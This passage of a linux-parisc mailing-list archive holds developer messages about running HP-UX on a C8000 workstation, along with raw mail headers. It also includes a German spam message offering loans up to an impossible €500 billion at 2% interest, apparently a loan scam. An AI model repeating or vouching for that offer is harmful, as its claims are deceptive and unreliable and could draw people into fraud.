        id S1755215AbdKBKWF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 2 Nov 2017 06:22:05 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=mylifeunisaac.onmicrosoft.com; s=selector1-mylifeunisaac-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=57iyQON62Szcap8u769xXAVb5bISOkp85sWomF78274=;
 b=RNIuTROzR45SrT8hO21OkdVImHrF5EHyGLx4iwgY10OWPznqwMoE/pwRot2tQ6Dpd8Yc7dMYJry20drFESLnn26DzVJC9bWt3d+rEmMg9v3IO1StN0AihJljywPc3fGgmfRz3dnXdcdkhuCQsg3rkbVVV5/mXN0A8oQg909XVKE=
Authentication-Results: spf=none (sender IP is )
 smtp.mailfrom=56213859@mylifeunisaac.onmicrosoft.com; 
Original-Received: from [100.94.115.136] (27.60.93.241) by
 HE1PR0101MB2026.eurprd01.prod.exchangelabs.com (10.167.185.152) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id 15.20.197.13; Thu, 2
 Nov 2017 10:21:50 +0000
Content-Description: Mail message body
X-Originating-IP: [27.60.93.241]
X-ClientProxiedBy: BM1PR01CA0116.INDPRD01.PROD.OUTLOOK.COM (10.174.208.32) To
 HE1PR0101MB2026.eurprd01.prod.exchangelabs.com (10.167.185.152)
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id: 7ba15142-5b05-4cbb-4a64-08d521db8a68
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:(22001)(4534020)(4602075)(4627115)(201703031133081)(201702281549075)(2017052603199);SRVR:HE1PR0101MB2026;
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0101MB2026;3:yXlAZE/lbMiDFZl+aiLywJRJp+eok+x/y7ibBvW/oEpdfjbp9tA/9mHPxIafD83qGJIL0q8kZWRFaKYEvpvUOEz87PKQV9hkUxncBNWCPmwH9tdmMtHBmMgmymSu1/zaCGJAKMo1KYlE0P6onlsmbUgnfM/6gwpuBLc+3uXkvHAQeK+SxM57/UtxEzQxmc92s3j0VnAWJ0fZyIHnX++K225r9rD7LLl/OgLTw0difEn96D8hLOW5fmlLgHUeJKKx;25:xG4piB7BEG9LCRwmeAQbKbn/XAzMhiGgyG9uGnmioiPMbAXlBRH/HeZztpVS10tQa9RpcwZMiboBDkTtCuXIas9uvjbESID2fO1m0TKnBNAr7ytSXzy4GW0MWPrhs/9ZL4Un0CEPHCg5kh30eYpXgh136FpxMtQnX76Ufd/gG0zusguNufDZTnfWc6rHEy+sYK1EGgcOR55MYKyuFuOS9bJTV6Yt4hei7RgNOGZpeWIiqEME/8zQ4DzneVVYKhwz+k4nEL+CQCLkd9inbMLOqqMPLMHw3nQMGaPpv423/h8fUyPXY2lkDQakzgn9UaYN1oquJrVOXTc6D0sqYDc08A==;31:MBDXbMnaTWfBQ9qlpTJlgRE+hv75jA/LjmBvKbjG9MGxOlCGjybmL2ZyJVaVjE23Q+dV2DgJ3LxMqBCOieO6mxdaG/5UiIRmkXWkbDlgMULrtZ+i8ZKzMqfJNmFFY+AKZu8YelVgck
 thLPUb5ev4yruwxYq/vBaD6AXPRLqI46nGZEUEIAFXycct9C0UgWso6/U9/ceCLEwEF1RS7m4nm0LPU6xZnHAsITCDa8FLfCo= 
X-MS-TrafficTypeDiagnostic: HE1PR0101MB2026:
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0101MB2026;20:4PR6s1crlAJkNNBgjH8tGQ0u8ohu+uNXDxSL+psxxxauVoz2ZubBzh4kUKgExxuRad/S766uh071USs8KznaNEFKLsol7cT6/cvewpV2vmnjbml7F56OXOZDzI8OFWn9Gn569+4gq0A+W2V/n3vhgFJLQwNw5zKZpAazwnus8MjfjY4sEnPWa42c9q4ijBn0F7yjlPzlXuVAM70ThVHGtfX3AHvSd8V+AHRx4rmbdVUVk2GNnTWBQfN+uXl/cvO+oX8ebKT1NDFBIqWxV5z1+LAN92p3ARN02UWt85Rd+QdcBGPiW/UJlCgCvThv+/dW/MWJ3RKmfCyZEuyLKC4HlSW37h+IyYItAY9x3YvVLpoTzNMJBDU2A/o0P95PzB2PNa2OO196H5l5Rtmi0VVoTApacu3lcbPSc4H3ah0a1PBbCvwa15hiR+Y6sidAUu9J6odpFqhKS9CPYyPnxUugRAYyW6Nd/Mk4RB5SxPdboP64JN2G1GqcBaIEsCzKhylU;4:FcPnpytbZk5jbG6rh7ZwzM1vUK1hmjPVoMo25Ea6xkpW1z/AEItjD8wBgTlagMnfDqSiongJzaE0CIRrYp8yJWO4BzScGUAZLCwSHGDp1v66SiNY9dCGeuJWHYCAu6aqUT7p11TAVf5a2GFjq5swyrEJIjobpXqF2Uy5BeEmXAgo+bSsoU/fL+n9dXZQKTiqAgpPBzj/KuiV8vOuomNWpp17t+oofiDlNFcf/S
 /iXPH6nuMRX3YEznbfo0IEz1EJF01fUshc0Zdl0f3Ej/A403/JwDUCDXwF+HdLHWw0b5bp6IQY17U2gwCE7rtaMsuv
X-Exchange-Antispam-Report-Test: UriScan:(209352067349851);
X-Microsoft-Antispam-PRVS: <HE1PR0101MB2026431C30677122524002CD995C0@HE1PR0101MB2026.eurprd01.prod.exchangelabs.com>
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(100000700101)(100105000095)(100000701101)(100105300095)(100000702101)(100105100095)(6040450)(2401047)(5005006)(8121501046)(3231020)(93006095)(3002001)(10201501046)(100000703101)(100105400095)(6041248)(20161123560025)(20161123562025)(20161123558100)(201703131423075)(201702281529075)(201702281528075)(201703061421075)(201703061406153)(20161123564025)(20161123555025)(6072148)(201708071742011)(100000704101)(100105200095)(100000705101)(100105500095);SRVR:HE1PR0101MB2026;BCL:0;PCL:0;RULEID:(100000800101)(100110000095)(100000801101)(100110300095)(100000802101)(100110100095)(100000803101)(100110400095)(100000804101)(100110200095)(100000805101)(100110500095);SRVR:HE1PR0101MB2026;
X-Forefront-PRVS: 047999FF16
X-Forefront-Antispam-Report: SFV:SPM;SFS:(10019020)(6049001)(6009001)(376002)(346002)(189002)(199003)(79260200001)(16526018)(50466002)(25786009)(8676002)(561924002)(6666003)(97736004)(81166006)(81156014)(7416002)(305945005)(5660300001)(7116003)(57250400001)(189998001)(86632001)(86902001)(6456002)(23676003)(43066004)(2906002)(101416001)(8936002)(47776003)(66066001)(53256004)(221733001)(54356999)(6862004)(6200100001)(39060400002)(33656002)(9686003)(6116002)(3846002)(42882006)(90366009)(53936002)(6486002)(49976008)(478600001)(7736002)(2860700003)(74482002)(316002)(786003)(105586002)(106356001)(22416003)(16576012)(3480700004)(50986999)(8746002)(74316002)(68736007)(250100001)(5009440100003)(62346012);DIR:OUT;SFP:1501;SCL:5;SRVR:HE1PR0101MB2026;H:[100.94.115.136];FPR:;SPF:None;PTR:InfoNoRecords;
 MX:1;A:0;LANG:de;
Received-SPF: None (protection.outlook.com: mylifeunisaac.onmicrosoft.com does
 not designate permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?utf-8?B?MTtIRTFQUjAxMDFNQjIwMjY7MjM6Q2pTL1poOTdmVUVlOTI1WEt4MHdXaVd6?=
 =?utf-8?B?RnVHSXIwTzlYYWtBbU12dUl0cDFUU3U0ZlRaRlc5SHlFaWJCR3FQVkRGNnpE?=
 =?utf-8?B?NDhxN2pRZUlpSVpidmE2YlRTNDZlZFNCS0lJdHY0bEd5RE1zcmFtRlNwR1Vx?=
 =?utf-8?B?ekJzUG9EZjNyTVNYR2l4dzJOcDYyMS80NlVMY1dvSDNURnYzcTJ0RTFHcFJx?=
 =?utf-8?B?TTRnQmlrYnJJRjlWU252YlhJOVNMQ3VwS1FUcE5aYWM3Skh0YW1kb0QyVXov?=
 =?utf-8?B?aVpZQkMvMW1KQXFGRmR3bHZoNjIyVkNjOXRmZUxvV1orMCtLTzQ2VllCRHow?=
 =?utf-8?B?VWU1NDN1ZlZ0UnVWbTdBWElUditRcWJTOUdTeDhyWS9JVHVvV0J2T2IwM21I?=
 =?utf-8?B?M2xDZXQ4dnRkTmVmME1tazUrNm9LNkdTUTJ1SXc2Yzd2b3BYcUh6UXNYS3h1?=
 =?utf-8?B?ZXZPSWVXaHE3dnNCMWFaVDN5OVhhNHM0RnZIZXZESTFHd1ljMjBYQkRPQlQ1?=
 =?utf-8?B?R3I1ci9yU1J3WE50c3pXSzFGbWplbHRyQ2ROYXpDRW1NYms2V0JveUo1VE5Y?=
 =?utf-8?B?cGgrTGNaOXBkRldLb3VHMllrV0lWaFFHRXZYL0ZWNEdjN3BrUFdsL05wUnAz?=
 =?utf-8?B?ZHg1L2Y3WHFmc0JFRjRSM3loRnBMRUJkckdXTmpnY2 
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0101MB2026;6:lQDCEyCnVO8iYe5o30kNCEw2/mjPDHBbV1D1KYQCHn5FilMycUvCh/0aNUArGU/H69R+51x6pmixZyqPRBHWzSBLWOa+U3bPjMcXy3xq2T/Cypvx/vVQyRpiJmnxcXbVDYbrlJyJDV8szJbBH57VnXt2BNPlsqPi3tPNX659SSMn0OHPpbN/l6qgw2ybR5aIyoZjpohLKF7NrwLyPu9HOJ5rfP9i39bcHqffIxbegbbAnhBoFPyHSHCsc8IdwVSnbRsKvgv+yPAKmwMYCtyrJ0vrgptGUewURFaA++jMNTLZt5PJODb61x6UdSHV0DgqGu0AJ35ASqzZOa6zWDlMZEs+kr5RI7WDbT4hXZkxC6E=;5:cABzO/sRSlXqExLu7V2Mrpcve70ngUoKBAXLegAf9ScP2/D0EncmIAAWqQzrTC3sVfeW4V26zlzOgOTnDNEC1TNXmKv9jkxinJL21PQfm1K8psedpgj+me2bY0MJOciv9TxWjqVyvmtLFoq/GiyMXHlTKVWfyCJWwNWxNbpQRS0=;24:kH+DC1kD4Y6iole7bD00jzypIUQEm04Cn1gU9GbJx5xmCdeupIK79ZSJn0bMZrBrHgtcQdipC1ArXzz36bulnA==;7:9aJyWPTp8dsecrAM4suenDUt0le+lZ+TW6kO+CgQNTKOmIKoSQQ/aHOywd781IR2eUNPue65SWLp6IIFH315WkO80er0BMS3y88WHc+asVhLntGu
 JhVD57F48P44SB+mHt7NaJ+Q4R0RPiNqXnswkTWYw1ZKymTLbjLZsbQJztI1tBe15AANYivXVQ+pwusQJ5aZkwHjSjrLZY9KSM 
SpamDiagnosticOutput: 1:22
X-OriginatorOrg: mylife.unisa.ac.za
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 02 Nov 2017 10:21:50.2842
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 7ba15142-5b05-4cbb-4a64-08d521db8a68
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: ca9a8b8c-3ea3-4799-a43e-5510398e7a3b
X-MS-Exchange-Transport-CrossTenantHeadersStamped: HE1PR0101MB2026
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27946
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27946>

Sch=C3=B6nen Tag,
 =

Sie ben=C3=B6tigen einen echten Kredit online Ihre Rechnungen zu sichern?
Startet ein neues Unternehmen? Sie ben=C3=B6tigen einen pers=C3=B6nlichen K=
redit
oder Business-Darlehen? Wir bieten ein Darlehen von =E2=82=AC 10.000 bis =
=E2=82=AC
500,000.000.00 mit 2% Zinsen pro Jahr und auch mit einem
erschwinglichen R=C3=BCckzahlungsbedingungen und Zustand. Ich suche f=C3=BCr
Darlehen und Projektinvestmentfonds ? Wir halten professionelle
Exzellenz, unsere Definition von Exzellenz liegt in hervorragenden
Kundenservice, erschwingliche Zahlung und R=C3=BCckzahlung Pl=C3=A4ne, schn=
ell
und einfach-Prozess.
Hochachtungsvoll....
 =

Freundliche Gr=C3=BC=C3=9Fe,
Herr David Williams
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Thu, 2 Nov 2017 10:25:23 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <9774ee1b-850d-bba3-774c-ee923fa76f64@bell.net>
References: <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net>
 <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net>
 <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de>
 <8A61C252-CA15-44AB-9225-EAA6C259E872@bell.net>
 <20171009174146.GA21988@alpha.franken.de>
 <7521862C-4EC7-47F5-AFF9-41A44775CFAB@bell.net>
 <20171010184621.GA18582@alpha.franken.de>
 <5CF7B86C-F92C-4CED-8A90-A11ABCFBE6B4@bell.net>
 <945027596.2687.1509587833744.JavaMail.zimbra@basstech.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1509632738 5359 195.159.176.226 (2 Nov 2017 14:25:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Nov 2017 14:25:38 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: Tom Bogendoerfer <tsbogend@alpha.franken.de>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Brendan Horan <brendanhoran@basstech.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 02 15:25:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eAGQp-0008Ds-53
	for glpp-linux-parisc@m.gmane.org; Thu, 02 Nov 2017 15:25:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933021AbdKBOZ0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 2 Nov 2017 10:25:26 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:40210 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S932312AbdKBOZY (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 2 Nov 2017 10:25:24 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171102142522.PBN5956.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 2 Nov 2017 10:25:22 -0400
Original-Received: from [192.168.0.138] (really [76.69.63.181]) by mtlspm01.bell.net
          with ESMTP
          id <20171102142522.HOAX24632.mtlspm01.bell.net@[192.168.0.138]>;
          Thu, 2 Nov 2017 10:25:22 -0400
In-Reply-To: <945027596.2687.1509587833744.JavaMail.zimbra@basstech.net>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=A9mDB+eG c=1 sm=0 tr=0 a=99/vd7DFkLqv/VdFEHgo1Q==:17 a=IkcTkHD0fZMA:10 a=sC3jslCIGhcA:10 a=FBHGMhGWAAAA:8 a=-mWdjXk6-2p_A4xs3u0A:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27947
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27947>

On 2017-11-01 9:57 PM, Brendan Horan wrote:
> If you did not manage to find some media, I have the following I can send :
> HPUX 11.23 Core FOE. Dec 2005
I believe Tom has 11.11 installed and is trying to access the 
Quicksilver adapter setup.  Does your
media have kwdb on it?

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Thu, 2 Nov 2017 17:38:31 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20171102163831.GA14357@alpha.franken.de>
References: <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net>
 <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net>
 <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de>
 <8A61C252-CA15-44AB-9225-EAA6C259E872@bell.net>
 <20171009174146.GA21988@alpha.franken.de>
 <7521862C-4EC7-47F5-AFF9-41A44775CFAB@bell.net>
 <20171010184621.GA18582@alpha.franken.de>
 <5CF7B86C-F92C-4CED-8A90-A11ABCFBE6B4@bell.net>
 <945027596.2687.1509587833744.JavaMail.zimbra@basstech.net>
 <9774ee1b-850d-bba3-774c-ee923fa76f64@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1509643680 26078 195.159.176.226 (2 Nov 2017 17:28:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Nov 2017 17:28:00 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Brendan Horan <brendanhoran@basstech.net>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 02 18:27:54 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eAJHU-0005yC-Tn
	for glpp-linux-parisc@m.gmane.org; Thu, 02 Nov 2017 18:27:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755459AbdKBR16 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 2 Nov 2017 13:27:58 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:33059 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754727AbdKBR1l (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 2 Nov 2017 13:27:41 -0400
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1eAJHK-000181-00; Thu, 02 Nov 2017 18:27:42 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id 492665082D4; Thu,  2 Nov 2017 17:38:31 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <9774ee1b-850d-bba3-774c-ee923fa76f64@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27948
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27948>

On Thu, Nov 02, 2017 at 10:25:23AM -0400, John David Anglin wrote:
> On 2017-11-01 9:57 PM, Brendan Horan wrote:
> >If you did not manage to find some media, I have the following I can send :
> >HPUX 11.23 Core FOE. Dec 2005
> I believe Tom has 11.11 installed and is trying to access the Quicksilver
> adapter setup. Does your
> media have kwdb on it?

in fact I've made some progress today. I now have a loadable module,
which dumps whatever I want, when it's loaded. And the first thing
I've detected is that I'm missing a package named Graphics Technical
Computing Environment and that a radeon 7000 card will not use
DMA over AGP (which means I have to install a firegl in my test machine).

I'm using 11.11 since 11.31 doesn't install and rumours are that 11.23
will also not install.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Thu, 2 Nov 2017 13:45:56 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <046a3593-c5af-e3ae-0901-a0c5d6f55a75@bell.net>
References: <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net>
 <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net>
 <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de>
 <8A61C252-CA15-44AB-9225-EAA6C259E872@bell.net>
 <20171009174146.GA21988@alpha.franken.de>
 <7521862C-4EC7-47F5-AFF9-41A44775CFAB@bell.net>
 <20171010184621.GA18582@alpha.franken.de>
 <5CF7B86C-F92C-4CED-8A90-A11ABCFBE6B4@bell.net>
 <945027596.2687.1509587833744.JavaMail.zimbra@basstech.net>
 <9774ee1b-850d-bba3-774c-ee923fa76f64@bell.net>
 <20171102163831.GA14357@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1509644773 21598 195.159.176.226 (2 Nov 2017 17:46:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Nov 2017 17:46:13 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: Brendan Horan <brendanhoran@basstech.net>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 02 18:46:09 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eAJZ3-0004IQ-Vy
	for glpp-linux-parisc@m.gmane.org; Thu, 02 Nov 2017 18:46:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755747AbdKBRqJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 2 Nov 2017 13:46:09 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:59019 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1755764AbdKBRp4 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 2 Nov 2017 13:45:56 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20171102174555.ETUM24544.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 2 Nov 2017 13:45:55 -0400
Original-Received: from [192.168.0.138] (really [76.69.63.181]) by mtlspm01.bell.net
          with ESMTP
          id <20171102174554.KQNM24632.mtlspm01.bell.net@[192.168.0.138]>;
          Thu, 2 Nov 2017 13:45:54 -0400
In-Reply-To: <20171102163831.GA14357@alpha.franken.de>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=dus0Mxo4 c=1 sm=0 tr=0 a=99/vd7DFkLqv/VdFEHgo1Q==:17 a=IkcTkHD0fZMA:10 a=sC3jslCIGhcA:10 a=MvuuwTCpAAAA:8 a=FBHGMhGWAAAA:8 a=sYRXl6V6wQxxW2KMtjAA:9 a=QEXdDO2ut3YA:10 a=dVHiktpip_riXrfdqayU:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27949
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27949>

On 2017-11-02 12:38 PM, Tom Bogendoerfer wrote:
> in fact I've made some progress today. I now have a loadable module,
> which dumps whatever I want, when it's loaded. And the first thing
> I've detected is that I'm missing a package named Graphics Technical
> Computing Environment and that a radeon 7000 card will not use
> DMA over AGP (which means I have to install a firegl in my test machine).
That's excellent news.  It looks as if one can download it if one 
creates an HPE account:
https://h20392.www2.hpe.com/portal/swdepot/displayProductInfo.do?productNumber=B6268AA

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Testing the lws_compare_and_swap_2 syscall
Date: Mon, 6 Nov 2017 22:27:34 +0100
Lines: 100
Approved: news@gmane.org
Message-ID: <20171106212734.GA29237@ls3530.fritz.box>
References: <1508874207@msgid.manchmal.in-ulm.de>
 <F232B09A-5367-4A4C-B731-00C63AAB489A@bell.net>
 <1508973952@msgid.manchmal.in-ulm.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510003669 29546 195.159.176.226 (6 Nov 2017 21:27:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Nov 2017 21:27:49 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: linux-parisc@vger.kernel.org
To: Christoph Biedl <linux-kernel.bfrz@manchmal.in-ulm.de>,
        Richard Henderson <rth@twiddle.net>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 06 22:27:45 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eBovo-00053p-Uu
	for glpp-linux-parisc@m.gmane.org; Mon, 06 Nov 2017 22:27:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751960AbdKFV1s (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 6 Nov 2017 16:27:48 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:53424 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751046AbdKFV1r (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 6 Nov 2017 16:27:47 -0500
Original-Received: from ls3530.fritz.box ([193.159.22.247]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MIuft-1eEIpn0LVp-002YVw; Mon, 06
 Nov 2017 22:27:38 +0100
Content-Disposition: inline
In-Reply-To: <1508973952@msgid.manchmal.in-ulm.de>
X-Provags-ID: V03:K0:53rnmKd2nVBHtw+EU/sAlbdweiWEC3EfzmW4OYaygkAgXvxbJnC
 pcQ0WTFI7FkZ2yyEWKC5bEEFSXdFhSp3dIYOEMkf7Tav7bQWjCyFV5rVT6CxBxnS9p8Qmp4
 DvR6VY54DPi8eo7s2JW5mcMoQbIRvuVi2PNl2F458+eQHSZfXL3tuwGaub6OUGLzTQFDj4H
 jzUrJtZ3JyRsOXfYxkMzw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:IzpSnakbhsM=:hkmspg5R9VBLbsSWri/Ed3
 E+HkvqP/4B4iwR1k1MzxnG6d4HYGuDrVziO1uxpE4Em7T/UMn+8p/ZGsi60Lsq8nxj8Sjkzfl
 CvzlNyQ9olDHzkynpoLwCClPEUNoklAc0DQKIhP1r59+8xZo2j4bLQNp9+6oHKwc/0crphmum
 Dr6Fu9psyrrmEdYhQbrKhocMs9R6sDBfcFi4VQOgS70k5OlsGkZGqefgESDOIZf+MFqlWzFWM
 LHlN/TCOuHjJ18EBV9n3LYAEbCZd+kIbSYDd1Aj1ehsyGkDziNjKdsHLGAjU56xV0qKEVq+2E
